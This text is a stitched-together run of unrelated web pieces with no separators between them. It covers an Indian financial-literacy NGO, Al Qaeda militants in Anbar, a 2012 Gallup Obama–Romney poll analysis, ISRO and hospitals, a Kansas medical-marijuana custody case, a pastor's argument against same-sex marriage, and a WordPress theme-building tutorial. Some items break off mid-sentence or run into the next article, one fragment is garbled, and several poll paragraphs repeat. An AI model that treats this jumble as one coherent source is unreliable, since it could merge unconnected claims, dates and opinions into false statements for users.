It will also "encourage e-transactions through electronic means viz NEFT, RTGS, IMPS, Internet Banking, Mobile Banking, UPI (Unified Payment Interface) etc", the document said.
The NGO will be educating people to buy life insurance and pension products.BAGHDAD — Radical Sunni militants aligned with Al Qaeda threatened Thursday to seize control of Falluja and Ramadi, two of the most important cities in Iraq, setting fire to police stations, freeing prisoners from jail and occupying mosques, as the government rushed troop reinforcements to the areas.
Dressed in black and waving the flag of Al Qaeda, the militants commandeered mosque loudspeakers to call for supporters to join their struggle in both cities in the western province of Anbar, which have increasingly become centers of Sunni extremism since American forces withdrew from the country at the end of 2011.
For the United States, which asserted at the time that Iraq was on track to become a stable democracy, Anbar holds grave historical significance — as a place for America’s greatest losses, and perhaps its most significant success, of the eight-year war.
Nearly one-third of the American soldiers killed in the war died trying to pacify Anbar, and Americans fought two battles for control of Falluja, in some of the bloodiest combat that American troops had faced since Vietnam.PRINCETON, NJ -- Half of likely voters now prefer Mitt Romney for president and 46% back President Barack Obama in Gallup interviewing through Monday.
While Romney's four-percentage-point advantage is not statistically significant, he has consistently edged ahead of Obama each of the past several days in Gallup's seven-day rolling averages conducted entirely after the Oct. 3 presidential debate. Prior to that debate -- regarded as a decisive Romney win by political experts and Americans who watched it -- Romney averaged less than a one-point lead over Obama among likely voters.
The latest result, from Oct. 9-15, is based on 2,723 likely voters drawn from more than 3,100 registered voters.
The effect of the Denver debate on voter preferences is also seen in the trend among registered voters. Prior to the debate, in late September/early October, Obama generally led Romney by five or six points among registered voters. Since the debate, the margin has been three points or less.
Since 2008, Obama Down the Most Among Whites, Middle-Aged Voters, and Southerners
Romney's four-point edge over Obama in likely voters' preferences for president contrasts with Obama's seven-point win over McCain in the 2008 election. To gain an understanding of the underlying dynamics of this shift, the following analysis contrasts the Obama versus McCain margins across major subgroups in 2008 with the Obama versus Romney margins in the full week of Gallup interviewing conducted Oct. 9-15. This shows that compared with 2008, Obama's support is down the most among voters in the South, 30- to 49-year-olds, those with four-year college degrees, postgraduates, men, and Protestants. He has also slipped modestly among whites, Easterners, women, and Catholics.
Obama's support is roughly the same now as in 2008 among 18- to 29-year-olds, seniors, nonwhites, and voters in the West and Midwest; however, he has not gained support among any major group compared with 2008.
In order to compare Obama's support today with 2008, the data in the graph below for both 2008 and 2012 are re-percentaged on the basis of support for the Democratic and Republican candidates only, excluding "no opinion" responses and support for minor third-party candidates. The 2008 results reflect an additional adjustment to align Gallup's final likely voter result with the election outcome.
More specifically, here are the key changes in Obama's support by group since 2008:
Degreed voters backing off Obama: In 2008, Obama led McCain among postgraduate educated voters by a 30-point margin, while he ran roughly even with McCain among those with lower levels of education. Today, Obama's postgraduate advantage has been cut to 14 points and he trails Romney among college graduates (those with four-year degrees only) by 22 points. His support from high school graduates and those with some college is also down slightly, providing no counterbalance to his major losses among the college educated.
In 2008, Obama led McCain among postgraduate educated voters by a 30-point margin, while he ran roughly even with McCain among those with lower levels of education. Today, Obama's postgraduate advantage has been cut to 14 points and he trails Romney among college graduates (those with four-year degrees only) by 22 points. His support from high school graduates and those with some college is also down slightly, providing no counterbalance to his major losses among the college educated. Southern losses: The South gave Obama the least support of any region in 2008, but still split their vote evenly for Obama vs. McCain. Today, Southerners favor Romney by a 22-point margin, the largest shift of any region. Voters in the East are also less supportive, while preferences in the West and Midwest are little changed.
The South gave Obama the least support of any region in 2008, but still split their vote evenly for Obama vs. McCain. Today, Southerners favor Romney by a 22-point margin, the largest shift of any region. Voters in the East are also less supportive, while preferences in the West and Midwest are little changed. Young voters stick with him: Young voters were an important part of Obama's 2008 coalition, and in 2012 they continue to support him overwhelmingly, at roughly the same level as four years ago. The difficulty for Obama is that he currently has less support among each older age group, particularly those aged 30 to 49 years.
Young voters were an important part of Obama's 2008 coalition, and in 2012 they continue to support him overwhelmingly, at roughly the same level as four years ago. The difficulty for Obama is that he currently has less support among each older age group, particularly those aged 30 to 49 years. White support dwindles: Obama lost the white vote in 2008 by 12 percentage points, but that was more than offset by a 72-point lead among nonwhites. Today, Obama has a more daunting 22-point deficit among whites, while his margin over Romney among nonwhites is essentially unchanged.
Obama lost the white vote in 2008 by 12 percentage points, but that was more than offset by a 72-point lead among nonwhites. Today, Obama has a more daunting 22-point deficit among whites, while his margin over Romney among nonwhites is essentially unchanged. Men move away: In 2008, Gallup found a 14-point swing in gender preferences for president, with women favoring Obama by a 14-point margin and men tied in their preferences for Obama vs. McCain. Today, there is a 20-point gender gap. Women's support for Obama shrank to six percentage points, while men favor Romney by 14 points.
Bottom Line
With three weeks to go in the campaign, Obama appears to be losing momentum, and now trails Romney by four percentage points among likely voters. That contrasts with his seven-point win over McCain in 2008. Given this shift in overall voter preferences, it follows that Obama will have lost support among at least some subgroups of the electorate. Those losses are not proportionate across all subgroups, however. He shed the most support among Southerners, college graduates, postgraduates, 30- to 49-year-olds, men, and Protestants. He also lost a moderate amount of support among whites, Easterners, women, and Catholics -- while not building new support elsewhere.
Gallup's registered voter trends indicate that Obama has lost ground with voters since the start of the month, most likely reflecting his poorly reviewed performance in the first presidential debate. Gallup research indicates that debates are rarely transformative events in presidential elections, but Denver may ultimately be seen as an exception, given the changes, albeit minor, that ensued in what has been a highly competitive election. Obama must now hope to reverse those with a resounding win of his own in at least one or both of the upcoming debates in New York and Florida.
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Survey Methods Results are based on telephone interviews conducted as part of Gallup Daily tracking Oct. 9-15, 2012, with a random sample of 3,187 registered voters, aged 18 and older, living in all 50 U.S. states and the District of Columbia. For results based on all registered voters, one can say with 95% confidence that the maximum margin of sampling error is ±3 percentage points. For results based on 2,723 likely voters, one can say with 95% confidence that the maximum margin of sampling error is ±3 percentage points. Interviews are conducted with respondents on landline telephones and cellular phones, with interviews conducted in Spanish for respondents who are primarily Spanish-speaking. Each sample includes a minimum quota of 400 cell phone respondents and 600 landline respondents per 1,000 national adults, with additional minimum quotas among landline respondents by region. Landline telephone numbers are chosen at random among listed telephone numbers. Cell phones numbers are selected using random digit dial methods. Landline respondents are chosen at random within each household on the basis of which member had the most recent birthday. Samples are weighted by gender, age, race, Hispanic ethnicity, education, region, adults in the household, and phone status (cell phone-only/landline only/both, cell phone mostly, and having an unlisted landline number). Demographic weighting targets are based on the March 2011 Current Population Survey figures for the aged 18 and older non-institutionalized population living in U.S. telephone households. All reported margins of sampling error include the computed design effects for weighting and sample design. The questions reported here were asked of a random half-sample of respondents for seven nights on the Gallup Daily tracking survey. In addition to sampling error, question wording and practical difficulties in conducting surveys can introduce error or bias into the findings of public opinion polls. For more details on Gallup's polling methodology, visit http://www.gallup.com/.BENGALURU: The Indian Space Research Organization (Isro) is all set to share its expertise with the medical fraternity to develop zero-error products. On Thursday, scientists led by Isro chairman A S Kiran Kumar met a team of doctors and experts from the healthcare sector. The Association of Healthcare Providers India (AHPI) believes that an understanding of how to make precision products will help reduce medical errors.“We have identified specific areas in emergency and intensive care units where the best practices employed in space technology accumulated over the past two to three decades could be appropriately incorporated,“ said Dr Alex Thomas, member-secretary to the Task Force for Karnataka Public Health Policy.“Healthcare affects everybody and errors are not acceptable. Our aim is to share various processes and practices that have been developed over the years, so as to achieve products that are highly accurate with little need for redundancy,“ an Isro official said.The space agency has joined hands with AHPI, National Accreditation Board for Hospitals and Healthcare Providers, Society for Emergency Medicine India, Indian Society of Critical Care Medicine, Consortium of Accredited Healthcare Associations.115 shares
A U.S. warship conducting counter-piracy operations in the Indian Ocean with the NATO Task Force assisted in the rescue of |
months ago.
Medical marijuana is not legal in Kansas, however, and Schwab's home state seized his five children, ages 5 to 16, on suspicion of child endangerment.
Schwab, who served in the Navy during the Gulf War and qualified for a medical disability, says he uses homemade cannabis butter to treat post-traumatic stress disorder and chronic pain. He tried prescription pills and became addicted to heroin for a while, he says, but has been clean since 2011.
It seems his children were not seized when he was addicted to heroin.
The federal government says parental drug use is equivalent to child abuse and in many cases they are probably right.
But, U.S. law also considers marijuana as dangerous as heroin, LSD and peyote and more dangerous than cocaine and prescription painkillers, the latter of which kill more people than any drug in America.
Schwab has been asked to submit a urine sample before visiting his children and he's only seen his kids three times since April.
The vet has made quite a few mistakes in life -- like posting his plan to operate a Colorado cannabis farm on Facebook -- but he probably thought it was safe to leave his kids with his wife's mom while he was moving. He was wrong. Before Schwab was 60 miles out of town, granny dropped the kids off with police and said they had been abandoned by parents who were off to farm loco weed.
The grandmother now says she regrets that decision.
Meanwhile, a Kansas judge says Schwab will only get his kids back if he quits using a drug legal in the state he now lives. The parents have to submit four months of clean urine samples.
The Denver Post reports Kansas childcare workers investigated the child endangerment claims against the Schwabs and all claims were dismissed as unsubstantiated.
"Why do [they] still have my children?" Schwab asks in the Denver Post.
Once he gets his kids back, Schwab plans to sue the state of Kansas for violation of his constitutional rights.
“They’re holding my kids hostage and threatening to terminate my rights if I don’t seek cannabis-abuse therapy in a state that’s legal. They’re threatening other people with jail time or losing their kids if they speak out, but I will not submit. I’ll take this to the Supreme Court if I have to,” he says in the Guardian.
The crux of the problem, of course, is that some form of medical marijuana is legal in all but 12 states but the federal government considers it a Schedule 1 narcotic.
Stories of parents who use legal medical marijuana and have their children seized seem increasingly common. [Example 1, 2, 3, 4, 5.]As the Supreme Court hears oral arguments in DeBoer v. Snyder, it’s worth asking the question: Is there any reason a decent, rational, non-bigoted American might oppose same-sex marriage? Just as important: Are there any decent, rational, non-bigoted Americans who are willing to consider why other Americans might have plausible reasons for opposing same-sex marriage? This blog post is my way of saying “yes” to the first question and “let’s hope so” to the second.
I’m a pastor, and my main concern is with the church—what she believes, what she celebrates, and what she proclaims. I don’t expect the world to be the church (and I pray that the church does not become the world). And yet, no one who lives in the world (that’s all of us) and no one who cares about the wellbeing of those in the world (that too should cover almost all of us) can be indifferent about marriage. With everything that may divide us, proponents on both sides of this debate can at least recognize that something truly significant is at stake in this debate.
I’m concerned that many younger Christians—ironically, often those passionate about societal transformation and social justice—do not see the connection between a traditional view of marriage and human flourishing. Many Christians are keen to resurrect the old pro-choice mantra touted by some Catholic politicians: personally opposed, but publicly none of my business. I want Christians (who are, after all, the main readers of this blog) to see why this issue matters and why—if and when same-sex marriage becomes the law of the land—the integrity of the family will be weakened and the freedom of the church will be threatened.
I know this is an increasingly unpopular line of reasoning, even for those who are inclined to accept the Bible’s teaching about marriage. Perhaps you agree with the traditional exegetical conclusions and believe that homosexual behavior is biblically unacceptable. And yet, you wonder what’s wrong with supporting same-sex marriage as a legal and political right. After all, we don’t have laws against gossip or adultery or the worship of false gods. Even if I don’t agree with it, shouldn’t those who identify as gay and lesbian still have the same freedom I have to get married?
That’s a good question, but before we try to answer it we need to be sure we are talking about the same thing. Let’s think about what is not at stake in the debate over gay marriage.
The state is not threatening to criminalize homosexual behavior. Since the Supreme Court struck down anti-sodomy laws in Lawrence v. Texas (2003), same-sex intimacy has been legal in all fifty states.
(2003), same-sex intimacy has been legal in all fifty states. The state is not going to prohibit gays and lesbians from committing themselves to each other in public ceremonies or religious celebrations.
The state is not going to legislate whether two adults can live together, profess love for one another, or express their commitment in erotic ways.
The issue is not about controlling “what people can do in their bedrooms” or “who they can love.” The issue is about what sort of union the state will recognize as marriage. Any legal system which distinguishes marriage from other kinds of relationships and associations will inevitably exclude many kinds of unions in its definition. The state denies marriage licenses to sexual threesomes. It denies marriage licenses to eight year-olds. There are almost an infinite number of friendship and kinship combinations which the state does not recognize as marriage. The state doesn’t tell us who we can be friends with or who we can live with. You can have one friend or three friends or a hundred. You can live with your sister, your mother, your grandfather, your dog, or three buddies from work. But these relationships—no matter how special—have not been given the designation “marriage” by the church or by the state. The state’s refusal to recognize these relationships as marital relationships does not keep us from pursuing them, enjoying them, or counting them as significant.
Marriage: What’s the Big Deal?
In the traditional view, marriage is the union of a man and a woman. That’s what marriage is, before the state confers any benefits on it. Marriage, in the traditional view, is a pre-political institution. The state doesn’t determine what defines marriage; it only recognizes marriage and privileges it in certain ways. It is a sad irony that those who support gay marriage on libertarian grounds are actually ceding to the state a vast amount of heretofore unknown power. No longer is marriage treated as a pre-political entity which exists independent of the state. Now the state defines marriage and authorizes its existence. Does the state have the right, let alone the competency, to construct and define our most essential relationships?
We must consider why the state has bothered to recognize marriage in the first place. What’s the big deal about marriage? Why not let people have whatever relationships they choose and call them whatever they want? Why go to the trouble of sanctioning a specific relationship and giving it a unique legal standing? The reason is that the state has an interest in promoting the familial arrangement whereby a mother and a father raise the children which came from their union. The state has been in the marriage business for the common good and for the well-being of the society it is supposed to protect. Kids do better with a mom and a dad. Communities do better when husbands and wives stay together. Hundreds of studies confirm both of these statements (though we all can think of individual exceptions, I’m sure). Gay marriage assumes that marriage is re-definable and the moving parts replaceable.
By recognizing gay unions as marriage, just like the husband-wife relationship we’ve always called marriage, the state is engaging in (or at least codifying) a massive re-engineering of our social life. It assumes the indistinguishability of gender in parenting, the relative unimportance of procreation in marriage, and the near infinite flexibility as to what sorts of structures and habits lead to human flourishing.
But What about Equal Rights?
How can I say another human being doesn’t have the same right I have to get married? That hardly seems fair. It’s true: the right to marry is fundamental. But to equate the previous sentence with a right to same-sex marriage begs the question. It assumes that same-sex partnerships actually constitute a marriage. Having the right to marry is not the same as having a right to the state’s validation that each and every sexual relationship is marriage. The issue is not whether to expand the number of persons eligible to participate in marriage, but whether the state will publically declare, privilege, and codify a different way of defining marriage altogether. Or to use a different example, the pacifist has a right to join the army, but he does not have the right to insist that the army create a non-violent branch of the military for him to join.
Redefining marriage to include same-sex partnerships publicly validates these relationships as bona fide marriage. That’s why the state sanction is so critical to gay marriage proponents and so disconcerting to those with traditional views. The establishment of gay “marriage” enshrines in law a faulty view of marriage, one that says marriage is essentially a demonstration of commitment sexually expressed. In the traditional view, marriage was ordered to the child, which is why the state had a vested interest in regulating and supporting it. Under the new morality, marriage is oriented to the emotional bond of the couple. The slogan may say “keep the government out of my bedroom,” as if personal choice and privacy were the salient issues, but same-sex marriage advocates are not asking for something private. They want public recognition. I don’t doubt that for most gay couples the longing for marriage is sincere, heartfelt, and without a desire to harm anyone else’s marriage. And yet, same-sex unions cannot be accepted as marriage without devaluing all marriages, because the only way to embrace same-sex partnerships as marriage is by changing what marriage means altogether.
Enough Is Enough?
So why not call a truce on the culture war and let the world define marriage its way and the church define marriage its way? You may think to yourself: maybe if Christians were more tolerant of other definitions of marriage we wouldn’t be in this mess. The problem is that the push for the acceptance of same-sex marriage has been predicated upon the supposed bigotry of those who hold a traditional view. The equal signs on cars and all over social media are making a moral argument: those who oppose same-sex marriage are unfair, uncivil, unsocial, undemocratic, un-American, and possibly even inhumane. If Christians lose the cultural debate on homosexuality, we will lose much more than we think. David S. Crawford is right:
The tolerance that really is proffered is provisional and contingent, tailored to accommodate what is conceived as a significant but shrinking segment of society that holds a publically unacceptable private bigotry. Where over time it emerges that this bigotry has not in fact disappeared, more aggressive measures will be needed, which will include explicit legal and educational components, as well as simple ostracism.
We must not be naïve. The legitimization of same-sex marriage will mean the de-legitimization of those who dare to disagree. The sexual revolution has been no great respecter of civil and religious liberties. Sadly, we may discover that there is nothing quite so intolerant as tolerance.
Does this mean the church should expect doom and gloom? That depends. For conservative Christians the ascendancy of same-sex marriage will likely mean marginalization, name calling, or worse. But that’s to be expected. Jesus promises no better than he himself received (John 15:18-25). The church is sometimes the most vibrant, the most articulate, and the most holy when the world presses down on her the hardest.
But not always—sometimes when the world wants to press us into its mold we jump right in and get comfy. I care about the decisions of the Supreme Court and the laws our politicians put in place. But what’s much more important to me—because I believe it’s more crucial to the spread of the gospel, the growth of the church, and the honor of Christ—is what happens in our local congregations, our mission agencies, our denominations, our parachurch organizations, and in our educational institutions. I fear that Christians are losing the stomach for principled disagreement and the critical mind for careful reasoning. Look past the talking points. Read up on the issues. Don’t buy every slogan and don’t own every insult. The challenge before the church is to convince ourselves as much as anyone that believing the Bible does not make us bigots, just as reflecting the times does not make us relevant.
This blog has been adapted from Appendix 1 in What Does the Bible Really Teach about Homosexuality?Developing a WordPress Theme from Scratch
You know HTML, CSS, and JavaScript. You can make beautiful websites. Maybe you’ve heard about WordPress, but aren’t entirely sure how to implement it, or why you might need it. Maybe a client asked for WordPress, but you’re not really familiar with it. Maybe you’ve worked with it before, but don’t know how to make your own theme from scratch. Whatever the case, this article is for you.
Prerequisites
All you need to start is a website. Any website will do. You don’t need to know any PHP, or have any prior experience with WordPress. Your website can be custom, or built on Bootstrap/some other framework.
You do need to know how to set up a local server environment. Fortunately, if you don’t know how, I wrote a short, sweet article about getting set up with one. It will only take a few minutes, so go ahead and do that first.
Goals
Install WordPress locally
Take an existing HTML website and convert it into a custom WordPress theme
Parts
I’ve made additional tutorials to add on to this one.
Part 2: Pagination, Comments, Single Post, Functions, & Custom Posts (intermediate)
Pagination, Comments, Single Post, Functions, & Custom Posts (intermediate) Part 3: Custom Posts, Custom Fields and Meta Boxes (advanced)
What can WordPress do for me?
WordPress was originally built as a blogging platform, but is now what is known as a CMS – Content Management System.
Any website that you intend to make updates to can benefit from a CMS. If it’s a blog, you want to be able to add posts. If it’s a restaurant website, you want to be able to add and update menus. If it’s a company website, you want to be able to update prices, packages, and so on. This website is a custom theme running on WordPress. (Open source, too!)
If someone is paying you to make a website, it’s because they don’t know how or don’t have time to deal with code. It needs to be as simple as possible for the client. WordPress can help with all this and more.
Getting started: The design
I can’t stress enough how much it doesn’t matter what you use for your design – Bootstrap, Foundation, Skeleton, custom CSS. The point is that you have a website and you like how it looks.
I’m going to take an existing simple starter template and convert it into WordPress for this article.
Bootstrap Blog Template
This is one of the default themes on Bootstrap’s official website.
I have conveniently set up a GitHub repository of the code that you can pull to a local directory and follow along with me.
Don’t know how to use Git/GitHub? You can remedy that by reading my Getting Started with Git article. If you just want to get started without dealing with Git, just create a directory on your computer with index.html and blog.css and you’re ready to go.
Installing WordPress
There are plenty of articles out there about how to install WordPress. They make the process seem long and scary, and the first time you do it, it can definitely be a bit confusing. Here is the official guide to getting set up.
Since we’re using a local server and MAMP, I already know you have all the prerequisites to installation, and FTP is not necessary.
Create a place for WordPress to live
Make an empty directory on your computer somewhere, and point your localhost or virtual host to that directory.
Download WordPress
Go to the WordPress download page and download the latest version of WordPress.
Unzip WordPress
Unzip WordPress and place the contents of the folder into your directory.
Create a database
Update 2017: The latest versions of MAMP do not come with phpMyAdmin preinstalled. Instead, you’ll download SequelPro on a Mac, or SQLYog on Windows, both free programs. To enter the database after downloading, login to the host locahost (or 127.0.0.1), with username root and password root. The rest of the instructions will be the same.
Now, if you go to your local server in the browser, assuming the servers are on and everything is pointed to the right direction, you’ll get this message.
You’ll learn to love that message. In MAMP, click Open WebStart page. Find this near the top:
Click on phpMyAdmin. Click Databases > create database. I’m going to call mine startwordpress. That’s all you need to do in phpMyAdmin!
Configure WordPress
Alright, final step. Find wp-config-sample.php in your directory.
It will look exactly like this.
Don’t be nervous. Change the database name, username, and password, from this:
wp-config.php
/** The name of the database for WordPress */ define('DB_NAME', 'database_name_here'); /** MySQL database username */ define('DB_USER', 'username_here'); /** MySQL database password */ define('DB_PASSWORD', 'password_here');
to this:
wp-config.php
/** The name of the database for WordPress */ define('DB_NAME','startwordpress'); /** MySQL database username */ define('DB_USER', 'root'); /** MySQL database password */ define('DB_PASSWORD', 'root');
Find this:
$table_prefix = 'wp_';
And change it to literally anything else with numbers and letters. For security. xyz_ or 735hjq9 _, etc.
$table_prefix = 'xyz77_';
Go to https://api.wordpress.org/secret-key/1.1/salt and replace the entire ‘put your unique phrase here’ with that generated code.
Save the file as wp-config.php in your directory.
Now, when you go back to your website and refresh, you should see this screen.
You’ll have to input a few things – username, password, e-mail address, and then you’re done. Congratulations, you have successfully installed WordPress! You will be redirected to /wp-login.php, where you can input your credentials to log into the backend. If you go to your main URL, You will see the default WordPress blog and “Hello, World!” post.
Creating your custom theme
Outside of configuring WordPress, almost everything you do in WordPress will be in the wp-content folder; everything else is core code, and you don’t want to mess with that.
From this point on, the WordPress Codex and StackOverflow will become your best friends. I’ll show you how to build a basic theme, but how you choose to customize your themes beyond that is totally up to you.
In Finder, follow the path of wp-content > themes to arrive at your themes folder. You’ll see the WordPress default themes – twentyfifteen, twentyfourteen, twentythirteen – and index.php. Create a new directory for your theme; I called mine startwordpress.
A WordPress theme needs only two files to exist – style.css and index.php.
In your custom theme folder, create style.css. It simply contains a comment that alerts WordPress that a theme exists here. Change the name, author, description, and so on.
style.css
/* Theme Name: Start WordPress Author: Tania Rascia Description: Bootstrap Blog template converted to WordPress Version: 0.0.1 Tags: bootstrap */
Remember the Bootstrap blog source code from earlier in the article? Move those two files – index.html and blog.css – to your custom theme folder. Rename index.html to index.php.
Your theme has now been created. Go to the WordPress dashboard, and click on Appearance > Themes. You’ll see the theme in the collection with all the default themes.
Activate the theme and go back to your main URL. Yep, it’s that simple. You’ve technically created a custom theme already. Of course, it doesn’t do anything yet beyond what a static HTML site can do, but you’re all set up now.
There is one thing you might notice – blog.css is not being loaded. Bootstrap’s main CSS and JS files are loading via CDN, but my local css file isn’t loading. Why?
My local URL may be startwordpress.dev, but it’s really pulling from wp-content/themes/startwordpress. If I link to blog.css with <link href="blog.css">, it tries to load startwordpress.dev/blog.css, which does not exist. Learn right now that you can never link to anything in a WordPress page without some PHP.
Note: Chrome no longer allows.dev local URLs. This example will use.dev, but you can use.test or something else of your choice.
Fortunately, this is easily remedied. There’s a few ways to do this, but I’ll show you the easiest way to start.
Locate where you linked to the CSS stylesheet in the head of index.php. This is what it looks like right now, but we’ll have to change it.
<link href="blog.css" rel="stylesheet">
We need to tell it to dynamically link to the themes folder. Replace the above code with the below code.
<link href="<?php echo get_bloginfo('template_directory');?>/blog.css" rel="stylesheet">
If you reload the page, you’ll see that CSS is now loading in. If it is not loading in, please do a hard refresh. The concept will be the same for images, javascript, and most other files you have in the themes folder, except PHP files.
If you were not successfully able to get the CSS to load, click on “View Source” and find the path of your CSS file in the code. It should be startwordpress.dev/wp-content/themes/startwordpress/blog.css. Make sure blog.css is saved in the correct location.
Note that this is not the most correct way to load scripts into your site. It’s the easiest to understand and it works, so it’s how we’ll do it for now.
Dividing your page into sections
Right now, everything is in index.php. But obviously we want the header, footer and sidebar on all the pages to be the same, right? (Maybe some pages will have slight customization, but that comes later.)
We’re going to divide index.php into four sections – header.php, footer.php, sidebar.php and content.php.
Here’s the original index.php. Now we start cutting and pasting.
Everything from <!DOCTYPE html> to the main blog header will be in the header file. The header usually contains all the necessary head styles and the top navigation to the website. The only addition I will make to the code is adding <?php wp_head();?> right before the closing </head>.
header.php
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="description" content=""> <meta name="author" content=""> <title>Blog Template for Bootstrap</title> <link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css" rel="stylesheet"> <link href="<?php echo get_bloginfo( 'template_directory' );?>/blog.css" rel="stylesheet"> <!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries --> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script> <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script> <![endif]--> <?php wp_head();?> </head> <body> <div class="blog-masthead"> <div class="container"> <nav class="blog-nav"> <a class="blog-nav-item active" href="#">Home</a> <a class="blog-nav-item" href="#">New features</a> <a class="blog-nav-item" href="#">Press</a> <a class="blog-nav-item" href="#">New hires</a> <a class="blog-nav-item" href="#">About</a> </nav> </div> </div> <div class="container"> <div class="blog-header"> <h1 class="blog-title">The Bootstrap Blog</h1> <p class="lead blog-description">The official example template of creating a blog with Bootstrap.</p> </div>
Same deal for the footer as the header. It will include whatever visible footer you have, your JS links (for now) and <?php wp_footer();?> right before </body>. Since I included the.container div in the header, I’m going to close it in the footer.
footer.php
</div> <!-- /.container --> <footer class="blog-footer"> <p>Blog template built for <a href="http://getbootstrap.com">Bootstrap</a> by <a href="https://twitter.com/mdo">@mdo</a>.</p> <p> <a href="#">Back to top</a> </p> </footer> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js"></script> <?php wp_footer();?> </body> </html>
Most websites, especially blogs, will have a side area for including content such as archives, tags, categories, ads, and whatnot. (Content removed for brevity.)
sidebar.php
<div class="col-sm-3 col-sm-offset-1 blog-sidebar"> <div class="sidebar-module sidebar-module-inset"> <h4>About</h4> <p>Etiam porta <em>sem malesuada magna</em> mollis euismod. Cras mattis consectetur purus sit amet fermentum. Aenean lacinia bibendum nulla sed consectetur.</p> </div> <div class="sidebar-module"> <h4>Archives</h4> <ol class="list-unstyled"> <li><a href="#">March 2014</a></li> <!-- More archive examples --> </ol> </div> <div class="sidebar-module"> <h4>Elsewhere</h4> <ol class="list-unstyled"> <li><a href="#">GitHub</a></li> <li><a href="#">Twitter</a></li> <li><a href="#">Facebook</a></li> </ol> </div> </div><!-- /.blog-sidebar -->
If the sidebar is where all the secondary information goes, the content is where all the articles and main content of the website go. (Content removed for brevity.)
content.php
<div class="blog-post"> <h2 class="blog-post-title">Sample blog post</h2> <p class="blog-post-meta">January 1, 2014 by <a href="#">Mark</a></p> <p>This blog post shows a few different types of content that's supported and styled with Bootstrap. Basic typography, images, and code are all supported.</p> <hr> <!-- the rest of the content --> </div><!-- /.blog-post -->
Index
The index file should be pretty sparse now. In fact, it should only be this:
<div class="row"> <div class="col-sm-8 blog-main"> </div> <!-- /.blog-main --> </div> <!-- /.row -->
Now we’re going to add everything back in. Here’s your new index.php.
index.php
<?php get_header();?> <div class="row"> <div class="col-sm-8 blog-main"> <?php get_template_part( 'content', get_post_format() );?> </div> <!-- /.blog-main --> <?php get_sidebar();?> </div> <!-- /.row --> <?php get_footer();?>
Even if you’ve never used PHP before, this code is all very self explanatory. get_header();, get_sidebar(); and get_footer(); are all functions that look for their respective.php files and insert the code. Of course, they all go inside their own <?php?> tags to let the server know to parse them as HTML. The content function is slightly different, but it does the same thing.
If you re-load your URL, your entire site is now loaded, just as before. You will notice a top bar if you’re logged in to the back end.
Main Settings
Before we start pulling in posts and pages, we need to configure some main settings of WordPress. For example, my title right now is “The Bootstrap Blog”, hard coded in HTML. I want the <title> and <h1> of my site to be changeable through the back end.
In your dashboard, go to Settings > General. Set your title.
In header.php, change the contents of the title tag and main h1 tag to this code:
<?php echo get_bloginfo( 'name' );?>
And the description to this one.
<?php echo get_bloginfo( 'description' );?>
Finally, I want the title to always take me back to the main blog page. bloginfo('wpurl'); is the code that will do that.
<a href="<?php echo get_bloginfo( 'wpurl' );?>"><!-- site title --></a>
Here’s the full code in case you’re confused.
<div class="blog-header"> <h1 class="blog-title"><a href="<?php echo get_bloginfo( 'wpurl' );?>"><?php echo get_bloginfo( 'name' );?></a></h1> <p class="lead blog-description"><?php echo get_bloginfo( 'description' );?></p> </div>
We’ve finally made the first dynamic change to the page. The front end should reflect what you put in your settings.
Now go to Settings > Permalinks. By default, WordPress is set to Day and name, which is a really ugly URL structure. Click on Post name and apply the changes.
The Loop
The most exciting part is being able to dynamically insert content, and in WordPress we do that with The Loop. It’s the most important function of WordPress. All of your content is generated through a loop.
In the dashboard, if you click on Posts, you will see a “Hello, world!” post in there by default. Our goal is to display that post in the blog.
The Loop itself is quite simple.
<?php if ( have_posts() ) : while ( have_posts() ) : the_post();?> <!-- contents of the loop --> <?php endwhile; endif;?>
It explains itself – IF there are posts, WHILE there are posts, DISPLAY the post. Anything inside the loop will be repeated. For a blog, this will be the post title, the date, the content, and comments. Where each individual post should end is where the loop will end. We’re going to add the loop to index.php.
Here’s your new index file.
index.php
<?php get_header();?> <div class="row"> <div class="col-sm-8 blog-main"> <?php if ( have_posts() ) : while ( have_posts() ) : the_post(); get_template_part( 'content', get_post_format() ); endwhile; endif;?> </div> <!-- /.blog-main --> <?php get_sidebar();?> </div> <!-- /.row --> <?php get_footer();?>
The only thing inside your loop is content.php, which will contain the contents of one single post. So open content.php and change the contents to this:
<div class="blog-post"> <h2 class="blog-post-title"><?php the_title();?></h2> <p class="blog-post-meta"><?php the_date();?> by <a href="#"><?php the_author();?></a></p> <?php the_content();?> </div><!-- /.blog-post -->
It’s amazingly simple! the_title(); is the title of the blog post, the_date(); shows the date, the_author(); the author, and the_content(); is your post content. I added another post to prove at the loop is working.
Awesome. Let’s make the sidebar dynamic, as well. There should be a description and archive list in the sidebar. In the dashboard, I’m going to edit my user description to say “Front end web developer and professional nerd.”
Delete all the <li> s under Archives and change it to this code.
sidebar.php
<h4>Archives</h4> <ol class="list-unstyled"> <?php wp_get_archives( 'type=monthly' );?> </ol>
For my description, I’m going to pull in metadata from my user account.
<h4>About</h4> <p><?php the_author_meta( 'description' );?> </p>
Now this content is being pulled in dynamically as well.
Here’s my blog so far.
Menu and Pages
Okay. Now we know how to make a blog, and edit some sidebar content. Only one main aspect of this page remains – the navigation, and where it leads. Well, there are two main aspects to WordPress – Posts and Pages. They’re very similar in that they both use the Loop. However, pages are where you put content that isn’t a blog post. This is where the CMS aspect of WordPress comes in – each individual page can be as customized as you want.
In the dashboard, I added a page so we can see two. First, we’re going to edit the navbar so that the links lead to the pages. Back in header.php, find and change this code.
header.php
<div class="blog-masthead"> <div class="container"> <nav class="blog-nav"> <a class="blog-nav-item active" href="#">Home</a> <?php wp_list_pages( '&title_li=' );?> </nav> </div> </div>
wp_list_pages(); will list all the pages you have in an unordered list. 'title_li=' is telling the code not to add a “Pages” title before the list. Unfortunately for us, this looks terrible; the original blog.css has the links coded in a tags, not li tags.
Fortunately, this is a very easy fix. I’m just going to apply the style from one to the other. Add this to blog.css
blog.css
.blog-nav li { position: relative; display: inline-block; padding: 10px; font-weight: 500; }.blog-nav li a { color: #fff; }
